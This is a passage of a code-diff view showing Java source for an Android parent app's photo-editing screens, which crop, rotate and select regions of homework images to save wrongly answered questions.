166 | cancelLoadingDialog(); | ||
167 | } | ||
168 | } | ||
169 | } else { | ||
170 | loadFail("自动切题失败"); | ||
171 | } | ||
172 | } | ||
173 | |||
174 | @Override | ||
175 | public void onError(Throwable e) { | ||
176 | loadFail("自动切题失败"); | ||
177 | } | ||
178 | |||
179 | @Override | ||
180 | public void onComplete() { | ||
181 | |||
182 | } | ||
183 | }); | ||
184 | } | ||
185 | |||
186 | private void getRects(List<CutPicBean.FigLoaction> figLoactions) { | ||
187 | Log.i("figLoaction", new Gson().toJson(figLoactions)); | ||
188 | int index = binding.viewPager.getCurrentItem(); | ||
189 | List<ImageBean.Cut> cuts = new ArrayList<>(); | ||
190 | for (CutPicBean.FigLoaction figLoaction : figLoactions) { | ||
191 | ImageBean.Cut cut = new ImageBean.Cut(); | ||
192 | cut.setRect(figLoaction); | ||
193 | cut.setSelect(false); | ||
194 | cuts.add(cut); | ||
195 | } | ||
196 | list.get(index).setCuts(cuts); | ||
197 | imageAdapter.notifyItemChanged(index); | ||
198 | cancelLoadingDialog(); | ||
199 | } | ||
200 | |||
201 | private void rotatingImage(CutPicBean cutPicBean) { | ||
202 | int index = binding.viewPager.getCurrentItem(); | ||
203 | Bitmap bitmap = BitmapFactory.decodeFile(list.get(index).getPath()); | ||
204 | int angle = 0; | ||
205 | switch (cutPicBean.getDirection()) { | ||
206 | case 1: | ||
207 | angle = 90; | ||
208 | break; | ||
209 | case 2: | ||
210 | angle = 180; | ||
211 | break; | ||
212 | case 3: | ||
213 | angle = 270; | ||
214 | break; | ||
215 | } | ||
216 | if (cutPicBean.getQus_figure() != null && cutPicBean.getQus_figure().size() > 0) { | ||
217 | List<CutPicBean.FigLoaction> figLoactions = new ArrayList<>(); | ||
218 | for (CutPicBean.CutLocation cutLocation : cutPicBean.getQus_figure()) { | ||
219 | figLoactions.add(cutLocation.getFig_location()); | ||
220 | } | ||
221 | figLoactions = CommonUtil.rotaingLocation(angle, figLoactions, bitmap.getWidth(), bitmap.getHeight()); | ||
222 | bitmap = CommonUtil.rotaingImageView(angle, bitmap); | ||
223 | String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
224 | CommonUtil.saveBitmapToUri(bitmap, filepath); | ||
225 | list.get(index).setPath(filepath); | ||
226 | imageAdapter.notifyItemChanged(index); | ||
227 | List<CutPicBean.FigLoaction> finalFigLoactions = figLoactions; | ||
228 | new Handler().postDelayed(new Runnable() { | ||
229 | @Override | ||
230 | public void run() { | ||
231 | getRects(finalFigLoactions); | ||
232 | } | ||
233 | }, 500); | ||
234 | } else { | ||
235 | cancelLoadingDialog(); | ||
236 | } | ||
237 | } | ||
238 | |||
239 | @Override | ||
240 | protected ActivityImageBinding getViewBinding() { | ||
241 | return ActivityImageBinding.inflate(getLayoutInflater()); | ||
242 | } | ||
243 | |||
244 | public void refreshNum() { | ||
245 | int num = 0; | ||
246 | for (ImageBean imageBean : list) { | ||
247 | if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) { | ||
248 | for (ImageBean.Cut cut : imageBean.getCuts()) { | ||
249 | if (cut.isSelect()) { | ||
250 | num++; | ||
251 | } | ||
252 | } | ||
253 | } | ||
254 | } | ||
255 | if (num > 0) { | ||
256 | binding.tvSave.setEnabled(true); | ||
257 | binding.tvSave.setBackgroundResource(R.drawable.bg_soild_blue_5); | ||
258 | binding.tvSave.setText("保留错题(" + num + ")"); | ||
259 | } else { | ||
260 | binding.tvSave.setEnabled(false); | ||
261 | binding.tvSave.setBackgroundResource(R.drawable.bg_soild_blue_light_5); | ||
262 | binding.tvSave.setText("保留错题"); | ||
263 | } | ||
264 | } | ||
265 | |||
266 | @Override | ||
267 | public void onClick(View v) { | ||
268 | switch (v.getId()) { | ||
269 | case R.id.iv_back: | ||
270 | back(); | ||
271 | break; | ||
272 | case R.id.iv_next: | ||
273 | binding.viewPager.setCurrentItem(binding.viewPager.getCurrentItem() + 1); | ||
274 | break; | ||
275 | case R.id.iv_previous: | ||
276 | binding.viewPager.setCurrentItem(binding.viewPager.getCurrentItem() - 1); | ||
277 | break; | ||
278 | case R.id.ll_edit: | ||
279 | Intent intent = new Intent(context, ImageEditActivity.class); | ||
280 | intent.putExtra("path", list.get(binding.viewPager.getCurrentItem()).getPath()); | ||
281 | startActivityForResult(intent, 1001); | ||
282 | break; | ||
283 | case R.id.tv_photo: | ||
284 | Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); | ||
285 | //确保有相机来处理Intent | ||
286 | filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
287 | File photoFile = new File(filePath); | ||
288 | if (photoFile != null) { | ||
289 | //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri | ||
290 | Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile); | ||
291 | takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); | ||
292 | takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri); | ||
293 | activity.startActivityForResult(takePictureIntent, 1002); | ||
294 | } | ||
295 | break; | ||
296 | case R.id.tv_add: | ||
297 | Intent intent1 = new Intent(context, ImageSelectActivity.class); | ||
298 | intent1.putExtra("path", list.get(binding.viewPager.getCurrentItem()).getPath()); | ||
299 | startActivityForResult(intent1, 1001); | ||
300 | break; | ||
301 | case R.id.tv_save: | ||
302 | List<TopicBean> topicBeans = new ArrayList<>(); | ||
303 | for (ImageBean imageBean : list) { | ||
304 | if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) { | ||
305 | for (ImageBean.Cut cut : imageBean.getCuts()) { | ||
306 | if (cut.isSelect()) { | ||
307 | TopicBean bean = new TopicBean(); | ||
308 | String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
309 | BitmapUtils.saveBitmap(cut.getBitmap(), path); | ||
310 | bean.setPath(path); | ||
311 | topicBeans.add(bean); | ||
312 | } | ||
313 | } | ||
314 | } | ||
315 | } | ||
316 | ErrorInputDialog dialog = new ErrorInputDialog(this, topicBeans); | ||
317 | dialog.show(); | ||
318 | break; | ||
319 | } | ||
320 | } | ||
321 | |||
322 | @Override | ||
323 | protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { | ||
324 | super.onActivityResult(requestCode, resultCode, data); | ||
325 | if (requestCode == 1001) { | ||
326 | if (resultCode == 1002) { | ||
327 | if (list.size() > 1) { | ||
328 | list.remove(binding.viewPager.getCurrentItem()); | ||
329 | imageAdapter.notifyItemRemoved(binding.viewPager.getCurrentItem()); | ||
330 | binding.tvTitle.setText((binding.viewPager.getCurrentItem() + 1) + "/" + list.size()); | ||
331 | refreshNum(); | ||
332 | } else { | ||
333 | finish(); | ||
334 | } | ||
335 | } else if (resultCode == 1003) { | ||
336 | int position = binding.viewPager.getCurrentItem(); | ||
337 | list.remove(position); | ||
338 | String path = data.getStringExtra("path"); | ||
339 | ImageBean imageBean = new ImageBean(); | ||
340 | imageBean.setPath(path); | ||
341 | list.add(position, imageBean); | ||
342 | imageAdapter.notifyItemChanged(position); | ||
343 | clearText(); | ||
344 | refreshNum(); | ||
345 | } else if (resultCode == 1004) { | ||
346 | Rect rect = data.getParcelableExtra("cut"); | ||
347 | if (rect != null) { | ||
348 | int position = binding.viewPager.getCurrentItem(); | ||
349 | ImageBean.Cut cut = new ImageBean.Cut(); | ||
350 | cut.setRect1(rect); | ||
351 | cut.setSelect(false); | ||
352 | list.get(position).getCuts().add(cut); | ||
353 | imageAdapter.notifyItemChanged(position); | ||
354 | refreshNum(); | ||
355 | } | ||
356 | } else if (resultCode == 1005) { | ||
357 | int i = data.getIntExtra("position", 0); | ||
358 | int position = binding.viewPager.getCurrentItem(); | ||
359 | Rect rect = data.getParcelableExtra("cut"); | ||
360 | if (rect != null) { | ||
361 | ImageBean.Cut cut = new ImageBean.Cut(); | ||
362 | cut.setRect1(rect); | ||
363 | cut.setSelect(false); | ||
364 | list.get(position).getCuts().remove(i); | ||
365 | list.get(position).getCuts().add(i, cut); | ||
366 | imageAdapter.notifyItemChanged(position); | ||
367 | refreshNum(); | ||
368 | } else { | ||
369 | list.get(position).getCuts().remove(i); | ||
370 | imageAdapter.notifyItemChanged(position); | ||
371 | refreshNum(); | ||
372 | } | ||
373 | } | ||
374 | } else if (requestCode == 1002 && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) { | ||
375 | Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath)); | ||
376 | String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
377 | CommonUtil.saveBitmapToUri(b, path); | ||
378 | int position = binding.viewPager.getCurrentItem(); | ||
379 | list.remove(position); | ||
380 | ImageBean imageBean = new ImageBean(); | ||
381 | imageBean.setPath(path); | ||
382 | list.add(position, imageBean); | ||
383 | imageAdapter.notifyItemChanged(position); | ||
384 | clearText(); | ||
385 | refreshNum(); | ||
386 | } | ||
387 | } | ||
388 | |||
389 | private void back() { | ||
390 | showTipDialog("温馨提示", "是否确认退出?", "取消", "确定", new TipDialog.TipDialogInterface() { | ||
391 | @Override | ||
392 | public void onConfirm(Dialog dialog) { | ||
393 | dialog.dismiss(); | ||
394 | finish(); | ||
395 | } | ||
396 | |||
397 | @Override | ||
398 | public void onCancel(Dialog dialog) { | ||
399 | dialog.dismiss(); | ||
400 | } | ||
401 | }); | ||
402 | } | ||
403 | |||
404 | @Override | ||
405 | public boolean onKeyDown(int keyCode, KeyEvent event) { | ||
406 | if (keyCode == KeyEvent.KEYCODE_BACK) { | ||
407 | back(); | ||
408 | return true; | ||
409 | } | ||
410 | return super.onKeyDown(keyCode, event); | ||
411 | } | ||
412 | } | ||
413 |
app/src/main/java/com/hjx/parent/ImageEditActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import android.app.Dialog; | ||
4 | import android.content.Intent; | ||
5 | import android.graphics.Bitmap; | ||
6 | import android.graphics.BitmapFactory; | ||
7 | import android.graphics.Rect; | ||
8 | import android.hardware.camera2.CameraCharacteristics; | ||
9 | import android.net.Uri; | ||
10 | import android.os.Bundle; | ||
11 | import android.os.SystemClock; | ||
12 | import android.provider.MediaStore; | ||
13 | import android.text.TextUtils; | ||
14 | import android.util.Log; | ||
15 | import android.view.KeyEvent; | ||
16 | import android.view.MotionEvent; | ||
17 | import android.view.View; | ||
18 | import android.widget.RelativeLayout; | ||
19 | |||
20 | import androidx.annotation.Nullable; | ||
21 | import androidx.core.content.FileProvider; | ||
22 | |||
23 | import com.hjx.parent.databinding.ActivityImageEditBinding; | ||
24 | import com.hjx.parent.dialog.TipDialog; | ||
25 | import com.prws.common.utils.BitmapUtils; | ||
26 | import com.prws.common.utils.CommonUtil; | ||
27 | import com.prws.common.widget.MarkSizeView; | ||
28 | import com.zhangteng.imagepicker.bean.ImageInfo; | ||
29 | import com.zhangteng.imagepicker.config.ImagePickerConfig; | ||
30 | import com.zhangteng.imagepicker.config.ImagePickerEnum; | ||
31 | import com.zhangteng.imagepicker.config.ImagePickerOpen; | ||
32 | import com.zhangteng.imagepicker.imageloader.GlideImageLoader; | ||
33 | import com.zhangteng.utils.IHandlerCallBack; | ||
34 | |||
35 | import java.io.File; | ||
36 | import java.util.ArrayList; | ||
37 | import java.util.List; | ||
38 | |||
39 | public class ImageEditActivity extends BaseActivity<ActivityImageEditBinding> { | ||
40 | private Bitmap bitmap; | ||
41 | private String filepath; | ||
42 | |||
43 | @Override | ||
44 | public void initView(Bundle savedInstanceState) { | ||
45 | String path = getIntent().getStringExtra("path"); | ||
46 | bitmap = BitmapFactory.decodeFile(path); | ||
47 | showImage(true); | ||
48 | binding.markView.setmOnClickListener(new MarkSizeView.onClickListener() { | ||
49 | @Override | ||
50 | public void onConfirm(Rect markedArea) { | ||
51 | Bitmap backGroundBitmap = binding.markView.getBackGroundBitmap(); | ||
52 | int bitmapWidth = backGroundBitmap.getWidth(); | ||
53 | int bitmapHeight = backGroundBitmap.getHeight(); | ||
54 | int markSizeViewWidth = binding.markView.getWidth(); | ||
55 | int markSizeHeight = binding.markView.getHeight(); | ||
56 | Log.d(toString(), markedArea.toString()); | ||
57 | int widthFold = (int) CommonUtil.div(bitmapWidth, markSizeViewWidth, 2); | ||
58 | int heightFold = (int) CommonUtil.div(bitmapHeight, markSizeHeight, 2); | ||
59 | |||
60 | markedArea.left = CommonUtil.mulForInt(markedArea.left, widthFold); | ||
61 | markedArea.top = CommonUtil.mulForInt(markedArea.top, heightFold); | ||
62 | markedArea.right = CommonUtil.mulForInt(markedArea.right, widthFold); | ||
63 | markedArea.bottom = CommonUtil.mulForInt(markedArea.bottom, heightFold); | ||
64 | Log.d(toString(), "markedArea.left=" + markedArea.left + "markedArea.top=" + markedArea.top | ||
65 | + ";markedArea.right=" + markedArea.right + ";markedArea.bottom=" + markedArea.bottom); | ||
66 | bitmap = Bitmap.createBitmap(backGroundBitmap, | ||
67 | markedArea.left, | ||
68 | markedArea.top, | ||
69 | (markedArea.right - markedArea.left) > bitmapWidth ? bitmapWidth : markedArea.right - markedArea.left, | ||
70 | (markedArea.bottom - markedArea.top) > bitmapHeight ? bitmapHeight : markedArea.bottom - markedArea.top); | ||
71 | binding.markView.reset(); | ||
72 | showImage(false); | ||
73 | } | ||
74 | |||
75 | @Override | ||
76 | public void onCancel() { | ||
77 | |||
78 | } | ||
79 | |||
80 | @Override | ||
81 | public void onTouch() { | ||
82 | |||
83 | } | ||
84 | }); | ||
85 | binding.llRotate.setOnClickListener(new View.OnClickListener() { | ||
86 | @Override | ||
87 | public void onClick(View v) { | ||
88 | bitmap = BitmapUtils.routeBitmap(bitmap); | ||
89 | showImage(false); | ||
90 | } | ||
91 | }); | ||
92 | binding.ivBack.setOnClickListener(new View.OnClickListener() { | ||
93 | @Override | ||
94 | public void onClick(View v) { | ||
95 | back(); | ||
96 | } | ||
97 | }); | ||
98 | binding.llDelete.setOnClickListener(new View.OnClickListener() { | ||
99 | @Override | ||
100 | public void onClick(View v) { | ||
101 | setResult(1002); | ||
102 | finish(); | ||
103 | } | ||
104 | }); | ||
105 | binding.tvSave.setOnClickListener(new View.OnClickListener() { | ||
106 | @Override | ||
107 | public void onClick(View v) { | ||
108 | Bitmap b = BitmapUtils.compress(bitmap); | ||
109 | String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
110 | CommonUtil.saveBitmapToUri(b, filepath); | ||
111 | Intent intent = new Intent(); | ||
112 | intent.putExtra("path", filepath); | ||
113 | setResult(1003, intent); | ||
114 | finish(); | ||
115 | } | ||
116 | }); | ||
117 | binding.llPhoto.setOnClickListener(new View.OnClickListener() { | ||
118 | @Override | ||
119 | public void onClick(View v) { | ||
120 | Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); | ||
121 | //确保有相机来处理Intent | ||
122 | filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
123 | File photoFile = new File(filepath); | ||
124 | if (photoFile != null) { | ||
125 | //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri | ||
126 | Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile); | ||
127 | takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); | ||
128 | takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri); | ||
129 | activity.startActivityForResult(takePictureIntent, 1); | ||
130 | } | ||
131 | } | ||
132 | }); | ||
133 | } | ||
134 | |||
135 | private void back() { | ||
136 | showTipDialog("温馨提示", "是否确认放弃当前的编辑?", "取消", "确定", new TipDialog.TipDialogInterface() { | ||
137 | @Override | ||
138 | public void onConfirm(Dialog dialog) { | ||
139 | dialog.dismiss(); | ||
140 | finish(); | ||
141 | } | ||
142 | |||
143 | @Override | ||
144 | public void onCancel(Dialog dialog) { | ||
145 | dialog.dismiss(); | ||
146 | } | ||
147 | }); | ||
148 | } | ||
149 | |||
150 | @Override | ||
151 | public boolean onKeyDown(int keyCode, KeyEvent event) { | ||
152 | if (keyCode == KeyEvent.KEYCODE_BACK) { | ||
153 | back(); | ||
154 | return true; | ||
155 | } | ||
156 | return super.onKeyDown(keyCode, event); | ||
157 | } | ||
158 | |||
159 | private void showImage(boolean cut) { | ||
160 | float imageHeight = bitmap.getHeight(); | ||
161 | float imageWidth = bitmap.getWidth(); | ||
162 | float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 210); | ||
163 | float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 30); | ||
164 | binding.markView.post(new Runnable() { | ||
165 | @Override | ||
166 | public void run() { | ||
167 | binding.markView.reset(); | ||
168 | RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(binding.markView.getLayoutParams()); | ||
169 | if (imageHeight / imageWidth > viewHeight / viewWidth) { | ||
170 | if (viewHeight > imageHeight) { | ||
171 | layoutParams.height = (int) imageHeight; | ||
172 | layoutParams.width = (int) imageWidth; | ||
173 | } else { | ||
174 | layoutParams.height = (int) viewHeight; | ||
175 | layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight); | ||
176 | } | ||
177 | } else { | ||
178 | if (viewWidth > imageWidth) { | ||
179 | layoutParams.height = (int) imageHeight; | ||
180 | layoutParams.width = (int) imageWidth; | ||
181 | } else { | ||
182 | layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth); | ||
183 | layoutParams.width = (int) viewWidth; | ||
184 | } | ||
185 | } | ||
186 | layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT); | ||
187 | binding.markView.setLayoutParams(layoutParams); | ||
188 | binding.markView.setBackGroundBitmap(bitmap); | ||
189 | binding.markView.reset(); | ||
190 | if (cut) { | ||
191 | simulateClick(10, layoutParams.width - 10, 10, layoutParams.height - 10); | ||
192 | } | ||
193 | } | ||
194 | }); | ||
195 | } | ||
196 | |||
197 | private void simulateClick(int x1, int x2, int y1, int y2) { | ||
198 | long downTime = SystemClock.uptimeMillis(); | ||
199 | final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_DOWN, x1, y1, 0); | ||
200 | downTime += 1000; | ||
201 | final MotionEvent moveEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE, x2, y2, 0); | ||
202 | final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_UP, x2, y2, 0); | ||
203 | binding.markView.onTouchEvent(downEvent); | ||
204 | binding.markView.onTouchEvent(moveEvent); | ||
205 | binding.markView.onTouchEvent(upEvent); | ||
206 | downEvent.recycle(); | ||
207 | moveEvent.recycle(); | ||
208 | upEvent.recycle(); | ||
209 | } | ||
210 | |||
211 | @Override | ||
212 | protected ActivityImageEditBinding getViewBinding() { | ||
213 | return ActivityImageEditBinding.inflate(getLayoutInflater()); | ||
214 | } | ||
215 | |||
216 | @Override | ||
217 | protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { | ||
218 | super.onActivityResult(requestCode, resultCode, data); | ||
219 | if (resultCode == RESULT_OK && !TextUtils.isEmpty(filepath)) { | ||
220 | bitmap = BitmapFactory.decodeFile(filepath); | ||
221 | showImage(false); | ||
222 | } | ||
223 | } | ||
224 | } | ||
225 |
app/src/main/java/com/hjx/parent/ImageSelectActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import android.content.Intent; | ||
4 | import android.graphics.Bitmap; | ||
5 | import android.graphics.BitmapFactory; | ||
6 | import android.graphics.Canvas; | ||
7 | import android.graphics.Paint; | ||
8 | import android.graphics.Rect; | ||
9 | import android.os.Bundle; | ||
10 | import android.os.SystemClock; | ||
11 | import android.util.Log; | ||
12 | import android.view.MotionEvent; | ||
13 | import android.view.View; | ||
14 | import android.widget.RelativeLayout; | ||
15 | |||
16 | import com.hjx.parent.databinding.ActivityImageSelectBinding; | ||
17 | import com.prws.common.bean.CutPicBean; | ||
18 | import com.prws.common.bean.ImageBean; | ||
19 | import com.prws.common.utils.BitmapUtils; | ||
20 | import com.prws.common.utils.CommonUtil; | ||
21 | import com.prws.common.widget.MarkSizeView; | ||
22 | |||
23 | public class ImageSelectActivity extends BaseActivity<ActivityImageSelectBinding> { | ||
24 | private Bitmap bitmap; | ||
25 | Rect rect; | ||
26 | private double widthFold, heightFold; | ||
27 | private Bitmap backGroundBitmap; | ||
28 | private int bitmapWidth, bitmapHeight; | ||
29 | private Rect select; | ||
30 | |||
31 | @Override | ||
32 | public void initView(Bundle savedInstanceState) { | ||
33 | String path = getIntent().getStringExtra("path"); | ||
34 | bitmap = BitmapFactory.decodeFile(path); | ||
35 | showImage(); | ||
36 | binding.markView.setmOnClickListener(new MarkSizeView.onClickListener() { | ||
37 | @Override | ||
38 | public void onConfirm(Rect markedArea) { | ||
39 | int markSizeViewWidth = binding.markView.getWidth(); | ||
40 | int markSizeHeight = binding.markView.getHeight(); | ||
41 | backGroundBitmap = binding.markView.getBackGroundBitmap(); | ||
42 | bitmapWidth = backGroundBitmap.getWidth(); | ||
43 | bitmapHeight = backGroundBitmap.getHeight(); | ||
44 | widthFold = CommonUtil.div(bitmapWidth, markSizeViewWidth, 2); | ||
45 | heightFold = CommonUtil.div(bitmapHeight, markSizeHeight, 2); | ||
46 | Log.d(toString(), markedArea.toString()); | ||
47 | drawRectangles(markedArea); | ||
48 | binding.markView.reset(); | ||
49 | } | ||
50 | |||
51 | @Override | ||
52 | public void onCancel() { | ||
53 | rect = null; | ||
54 | } | ||
55 | |||
56 | @Override | ||
57 | public void onTouch() { | ||
58 | |||
59 | } | ||
60 | }); | ||
61 | binding.tvSave.setOnClickListener(new View.OnClickListener() { | ||
62 | @Override | ||
63 | public void onClick(View v) { | ||
64 | if (rect != null) { | ||
65 | if (select == null) { | ||
66 | Intent intent = new Intent(); | ||
67 | intent.putExtra("cut", rect); | ||
68 | setResult(1004, intent); | ||
69 | finish(); | ||
70 | } else { | ||
71 | Intent intent = new Intent(); | ||
72 | intent.putExtra("cut", rect); | ||
73 | intent.putExtra("position", getIntent().getIntExtra("position", 0)); | ||
74 | setResult(1005, intent); | ||
75 | finish(); | ||
76 | } | ||
77 | } else { | ||
78 | showToast("未选择框题区域"); | ||
79 | } | ||
80 | } | ||
81 | }); | ||
82 | binding.llDelete.setOnClickListener(new View.OnClickListener() { | ||
83 | @Override | ||
84 | public void onClick(View v) { | ||
85 | if (select == null) { | ||
86 | finish(); | ||
87 | } else { | ||
88 | rect = null; | ||
89 | Intent intent = new Intent(); | ||
90 | intent.putExtra("cut", rect); | ||
91 | intent.putExtra("position", getIntent().getIntExtra("position", 0)); | ||
92 | setResult(1005, intent); | ||
93 | finish(); | ||
94 | } | ||
95 | } | ||
96 | }); | ||
97 | } | ||
98 | |||
99 | private void simulateClick(int x1, int x2, int y1, int y2) { | ||
100 | long downTime = SystemClock.uptimeMillis(); | ||
101 | final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_DOWN, x1, y1, 0); | ||
102 | downTime += 1000; | ||
103 | final MotionEvent moveEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE, x2, y2, 0); | ||
104 | final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_UP, x2, y2, 0); | ||
105 | binding.markView.onTouchEvent(downEvent); | ||
106 | binding.markView.onTouchEvent(moveEvent); | ||
107 | binding.markView.onTouchEvent(upEvent); | ||
108 | downEvent.recycle(); | ||
109 | moveEvent.recycle(); | ||
110 | upEvent.recycle(); | ||
111 | } | ||
112 | |||
113 | private void drawRectangles(Rect ints) { | ||
114 | rect = new Rect(ints.left, ints.top, ints.right, ints.bottom); | ||
115 | Log.d(toString(), ints.toString()); | ||
116 | Rect rect = new Rect(CommonUtil.mulForInt(ints.left, widthFold), CommonUtil.mulForInt(ints.top, heightFold), CommonUtil.mulForInt(ints.right, widthFold), CommonUtil.mulForInt(ints.bottom, heightFold)); | ||
117 | // Log.d(toString(),rect.toString()); | ||
118 | Bitmap mutableBitmap = backGroundBitmap.copy(Bitmap.Config.ARGB_8888, true); | ||
119 | Canvas canvas = new Canvas(mutableBitmap); | ||
120 | //画矩形框 | ||
121 | Paint paint = new Paint(); | ||
122 | paint.setAntiAlias(true); | ||
123 | paint.setStyle(Paint.Style.FILL);//填充 | ||
124 | paint.setStrokeWidth(CommonUtil.dpToPx(this, 1)); //线的宽度 | ||
125 | paint.setColor(getColor(R.color.select_fill)); | ||
126 | canvas.drawRect(rect, paint); | ||
127 | paint.setStyle(Paint.Style.STROKE);//不填充 | ||
128 | paint.setColor(getColor(R.color.select_border)); | ||
129 | canvas.drawRect(rect, paint); | ||
130 | binding.markView.setBackGroundBitmap(mutableBitmap); | ||
131 | } | ||
132 | |||
133 | private void showImage() { | ||
134 | float imageHeight = bitmap.getHeight(); | ||
135 | float imageWidth = bitmap.getWidth(); | ||
136 | float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 250); | ||
137 | float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60); | ||
138 | binding.markView.post(new Runnable() { | ||
139 | @Override | ||
140 | public void run() { | ||
141 | binding.markView.reset(); | ||
142 | RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(binding.markView.getLayoutParams()); | ||
143 | if (imageHeight / imageWidth > viewHeight / viewWidth) { | ||
144 | if (viewHeight > imageHeight) { | ||
145 | layoutParams.height = (int) imageHeight; | ||
146 | layoutParams.width = (int) imageWidth; | ||
147 | } else { | ||
148 | layoutParams.height = (int) viewHeight; | ||
149 | layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight); | ||
150 | } | ||
151 | } else { | ||
152 | if (viewWidth > imageWidth) { | ||
153 | layoutParams.height = (int) imageHeight; | ||
154 | layoutParams.width = (int) imageWidth; | ||
155 | } else { | ||
156 | layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth); | ||
157 | layoutParams.width = (int) viewWidth; | ||
158 | } | ||
159 | } | ||
160 | layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT); | ||
161 | binding.markView.setLayoutParams(layoutParams); | ||
162 | binding.markView.setBackGroundBitmap(bitmap); | ||
163 | binding.markView.reset(); | ||
164 | select = getIntent().getParcelableExtra("rect"); | ||
165 | if (select != null) { | ||
166 | simulateClick(select.left, select.right, select.top, select.bottom); | ||
167 | } | ||
168 | } | ||
169 | }); | ||
170 | } | ||
171 | |||
172 | @Override | ||
173 | protected void onDestroy() { | ||
174 | if (backGroundBitmap != null) { | ||
175 | backGroundBitmap.recycle(); | ||
176 | backGroundBitmap = null; | ||
177 | } | ||
178 | if (bitmap != null) { | ||
179 | bitmap.recycle(); | ||
180 | bitmap = null; | ||
181 | } | ||
182 | super.onDestroy(); | ||
183 | } | ||
184 | |||
185 | @Override | ||
186 | protected ActivityImageSelectBinding getViewBinding() { | ||
187 | return ActivityImageSelectBinding.inflate(getLayoutInflater()); | ||
188 | } | ||
189 | } | ||
190 |
app/src/main/java/com/hjx/parent/MainActivity.java
1 | package com.hjx.parent; | 1 | package com.hjx.parent; |
2 | 2 | ||
3 | import androidx.appcompat.app.AppCompatActivity; | 3 | import androidx.appcompat.app.AppCompatActivity; |
4 | import androidx.constraintlayout.widget.ConstraintLayout; | 4 | import androidx.constraintlayout.widget.ConstraintLayout; |
5 | 5 | ||
6 | import android.graphics.Color; | 6 | import android.graphics.Color; |
7 | import android.os.Bundle; | 7 | import android.os.Bundle; |
8 | import android.widget.ImageView; | 8 | import android.widget.ImageView; |
9 | import android.widget.TextView; | 9 | import android.widget.TextView; |
10 | 10 | ||
11 | import com.google.gson.JsonObject; | ||
11 | import com.hjx.parent.fragment.HomeFragment; | 12 | import com.hjx.parent.fragment.HomeFragment; |
12 | import com.hjx.parent.fragment.MeFragment; | 13 | import com.hjx.parent.fragment.MeFragment; |
13 | import com.prws.common.base.BaseActivity; | 14 | import com.prws.common.base.BaseActivity; |
14 | import com.prws.common.base.BasePresenter; | 15 | import com.prws.common.base.BasePresenter; |
16 | import com.prws.common.bean.GradeAndSubject; | ||
17 | import com.prws.common.bean.ResponseResult; | ||
18 | import com.prws.common.net.NetWorks; | ||
19 | import com.prws.common.utils.SharedPreferencesUtil; | ||
20 | |||
21 | import java.util.List; | ||
22 | |||
23 | import io.reactivex.Observer; | ||
24 | import io.reactivex.disposables.Disposable; | ||
15 | 25 | ||
16 | public class MainActivity extends BaseActivity { | 26 | public class MainActivity extends BaseActivity { |
17 | 27 | ||
18 | @Override | 28 | @Override |
19 | protected int layoutResId() { | 29 | protected int layoutResId() { |
20 | return R.layout.activity_main; | 30 | return R.layout.activity_main; |
21 | } | 31 | } |
22 | 32 | ||
23 | @Override | 33 | @Override |
24 | public Object getContract() { | 34 | public Object getContract() { |
25 | return null; | 35 | return null; |
26 | } | 36 | } |
27 | 37 | ||
28 | @Override | 38 | @Override |
29 | public BasePresenter getPresenter() { | 39 | public BasePresenter getPresenter() { |
30 | return null; | 40 | return null; |
31 | } | 41 | } |
32 | 42 | ||
33 | 43 | ||
34 | HomeFragment homeFragment; | 44 | HomeFragment homeFragment; |
35 | MeFragment meFragment; | 45 | MeFragment meFragment; |
36 | ConstraintLayout cl_home; | 46 | ConstraintLayout cl_home; |
